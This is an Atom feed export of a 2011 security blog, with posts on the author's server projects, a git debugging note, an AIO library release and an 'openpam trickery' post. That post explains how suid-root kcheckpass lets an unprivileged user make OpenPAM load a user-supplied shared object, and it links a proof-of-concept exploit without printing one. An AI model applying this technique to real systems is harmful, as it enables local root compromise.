<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3606809368389861108</id><updated>2012-02-02T21:41:54.965-08:00</updated><title type='text'>C-skills</title><subtitle type='html'>A blog dedicated to software and network trickery.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default?start-index=101&amp;max-results=100'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>110</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-914785830168203788</id><published>2011-12-15T07:32:00.000-08:00</published><updated>2011-12-15T07:32:04.715-08:00</updated><title type='text'>sshttp is in the git</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;A few days ago, I put the &lt;a href="http://github.com/stealth/sshttp"&gt;sshttp&lt;/a&gt; project to the &lt;i&gt;github&lt;/i&gt;.&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It allows to run &lt;i&gt;SSH&lt;/i&gt; and &lt;i&gt;HTTP(S)&lt;/i&gt; on the same port&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;without changing them.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I also checked in new code for &lt;a href="http://github.com/stealth/lophttpd"&gt;lophttpd&lt;/a&gt;, to support&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;IPv6&lt;/i&gt; and bind's to specific addresses other than&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;INADDR_ANY&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The benchmarks I did were really satisfying, it outperforms&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;default &lt;i&gt;apache2&lt;/i&gt; installs (surprise, surprise) and also&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;ngnix&lt;/i&gt;. Hope to get some time to plot some statistics&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;about that.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-914785830168203788?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/914785830168203788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=914785830168203788' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/914785830168203788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/914785830168203788'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/12/sshttp-is-in-git.html' title='sshttp is in the git'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3801177298659618746</id><published>2011-12-08T03:15:00.000-08:00</published><updated>2011-12-08T03:15:59.285-08:00</updated><title type='text'>All your servers are belong to us</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;We deliver. Worldwide. Up to 0x743c times. And if you&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;are still not there, we return to libc.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;You just noticed it, there is a new front pic online. I'll rotate&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;this within the next months to show &lt;i&gt;cool and the gang&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;in different positions inside the cloud. The experienced&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;reader also noticed that the shirts are all made of valid&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;RPM switches&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and indeed the most important ones.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;While I myself will definitely keep up with mobile stuff, our&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;origin are servers and the code running there. We deliver&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;stable, fast and secure services. If you have any problems&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;with your server or code, just call us.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3801177298659618746?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3801177298659618746/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3801177298659618746' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3801177298659618746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3801177298659618746'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/12/all-your-servers-are-belong-to-us.html' title='All your servers are belong to us'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7474132679302775079</id><published>2011-11-29T06:48:00.000-08:00</published><updated>2011-11-29T06:49:41.925-08:00</updated><title type='text'>me hubbing and gitting on github</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;As of today you can also find me on &lt;a href="https://github.com/stealth"&gt;github&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I am testing how good or bad it performs for my own projects.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;For now, I made &lt;a href="https://github.com/stealth/lophttpd"&gt;lophttpd&lt;/a&gt; a public repo where you can&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;watch the development process.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;My &lt;b&gt;openwall&lt;/b&gt; site and other places where I used to put code&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;stay the same and I will continue to upload &lt;i&gt;.tgz&lt;/i&gt; files.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7474132679302775079?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7474132679302775079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7474132679302775079' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7474132679302775079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7474132679302775079'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/11/me-hubbing-and-gitting-on-github.html' title='me hubbing and gitting on github'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-499061460287477890</id><published>2011-11-25T06:23:00.000-08:00</published><updated>2011-11-25T06:23:04.164-08:00</updated><title type='text'>Censorship</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;In this' blog survey &lt;i&gt;"Do you like surveys?"&lt;/i&gt;, too many people voted that I am an idiot,&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;rather than they dislike surveys (less amount&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;than people&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;who like surveys though) so I do it like middle east&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;dictatorship: I just cancel it :P&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-499061460287477890?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/499061460287477890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=499061460287477890' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/499061460287477890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/499061460287477890'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/11/censorship.html' title='Censorship'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2842417537336983899</id><published>2011-11-08T07:51:00.000-08:00</published><updated>2011-11-09T01:46:16.336-08:00</updated><title type='text'>openpam trickery</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;While reviewing an entirely different server side component&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;of some code, I came across a funny vulnerability inside&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;OpenPAM &lt;/b&gt;(note that this is different from Linux-PAM)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;as used in &lt;b&gt;FreeBSD&lt;/b&gt; &lt;strike&gt;or &lt;b&gt;Solaris&lt;/b&gt;&lt;/strike&gt;. Yet, I only tested it on&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;a &lt;i&gt;FreeBSD 8.1&lt;/i&gt; machine. The bug is that a program,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;namely &lt;i&gt;kcheckpass&lt;/i&gt;, which is suid to root, is calling&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;pam_start()&amp;nbsp;&lt;/i&gt;with a user&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;provided argument which makes&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the PAM stack parse user owned&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;config files which ends in loading of user&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;provided DSO's. WTF?!&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Interestingly,&amp;nbsp;&lt;b&gt;OpenPAM&lt;/b&gt; recently introduced a filter for&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the service name via&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c"&gt;http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;commit but I dont think that any BSD or so vendor is&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;aware of it.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;A really trivial PoC exploit can be found &lt;a href="http://stealth.openwall.net/xSports/pamslam"&gt;here.&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[Update:] &lt;b&gt;Solaris&lt;/b&gt; is not using &lt;b&gt;OpenPAM&lt;/b&gt; (at least the &lt;b&gt;OpenSolaris&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;version I checked), but I could not find code that strips&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;off certain&amp;nbsp;character sequences. As the PAM setup is different&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;from the &lt;i&gt;/etc/pam.d&lt;/i&gt; we know it is possible that there are no&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;consequences if the service argument is not filtered.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;However a lot of BSD derivates&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;use &lt;b&gt;OpenPAM&lt;/b&gt; and &lt;b&gt;OSX&lt;/b&gt; as well. The question is whether one can&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;find a vector different than the &lt;i&gt;kcheckpass&lt;/i&gt; which is usually&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;found with all &lt;b&gt;KDE3&lt;/b&gt; and &lt;b&gt;KDE4&lt;/b&gt; installs.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If you can confirm vulnerability on any &lt;b&gt;Solaris&lt;/b&gt; or non-&lt;b&gt;FreeBSD&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;machine, please let me know. Also if you found out how &lt;b&gt;OSX&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;can be exploited this way.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2842417537336983899?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2842417537336983899/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2842417537336983899' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2842417537336983899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2842417537336983899'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/11/openpam-trickery.html' title='openpam trickery'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8533430409546054207</id><published>2011-11-03T04:15:00.000-07:00</published><updated>2011-11-03T04:15:22.087-07:00</updated><title type='text'>Fun with git-upload-pack</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The &lt;i&gt;android git&lt;/i&gt; was recently moved so I was eager to check&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;out the new sources. But I always got a &lt;b&gt;403&lt;/b&gt;! What was wrong?&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Looking into some forums showed that lots of folks seems to&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;have the same problems so I post this in the hope that it&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;saves other developers some hours of debugging. At the end it seems&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;just to be an issue about the &lt;i&gt;git&lt;/i&gt; version or &lt;i&gt;git&lt;/i&gt; setup.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I cloned a repo with a clean, new machine and compared the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;HTTP stream with what I got from a working box to find&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;out why some checkouts worked and some dont. Heres is the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;old git pull:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-bxmdsfttR0U/TrJ1zOtr_fI/AAAAAAAAAJo/nsxKOnvH4ik/s1600/git1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="218" src="http://1.bp.blogspot.com/-bxmdsfttR0U/TrJ1zOtr_fI/AAAAAAAAAJo/nsxKOnvH4ik/s320/git1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and here is the new one with the diff marked green:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-2FjlhOL0VXA/TrJ2DU7sNgI/AAAAAAAAAJw/OuNHQ-MCPvg/s1600/git2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="175" src="http://4.bp.blogspot.com/-2FjlhOL0VXA/TrJ2DU7sNgI/AAAAAAAAAJw/OuNHQ-MCPvg/s320/git2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Somewhat surprising since according to the download page&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;git 1.6.4&lt;/i&gt; should just be fine.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Now everything works smoothly. Not a very technical issue indeed,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;but tracking down strange issues helps to stay keen. More than&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;just searching the web for a solution.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8533430409546054207?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8533430409546054207/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8533430409546054207' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8533430409546054207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8533430409546054207'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/11/fun-with-git-upload-pack.html' title='Fun with git-upload-pack'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-bxmdsfttR0U/TrJ1zOtr_fI/AAAAAAAAAJo/nsxKOnvH4ik/s72-c/git1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-459949490998672250</id><published>2011-10-07T04:21:00.000-07:00</published><updated>2011-10-07T04:21:03.268-07:00</updated><title type='text'>AIO</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I just uploaded my version of the &lt;b&gt;AIO&lt;/b&gt; functions for Linux 2.6.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;They use kernels &lt;i&gt;io_&lt;/i&gt; syscalls rather than doing everything with &lt;i&gt;pthreads &lt;/i&gt;(like last time I checked with glibc).&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It is available &lt;a href="http://stealth.openwall.net/misc/aio-0.51.tgz"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-JKvgYHwPEG8/To7gcQwz0NI/AAAAAAAAAJg/i7CrMiAlo1Y/s1600/aio.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="118" src="http://4.bp.blogspot.com/-JKvgYHwPEG8/To7gcQwz0NI/AAAAAAAAAJg/i7CrMiAlo1Y/s320/aio.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-459949490998672250?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/459949490998672250/comments/default' title='Post Comments'/><link rel='replies' 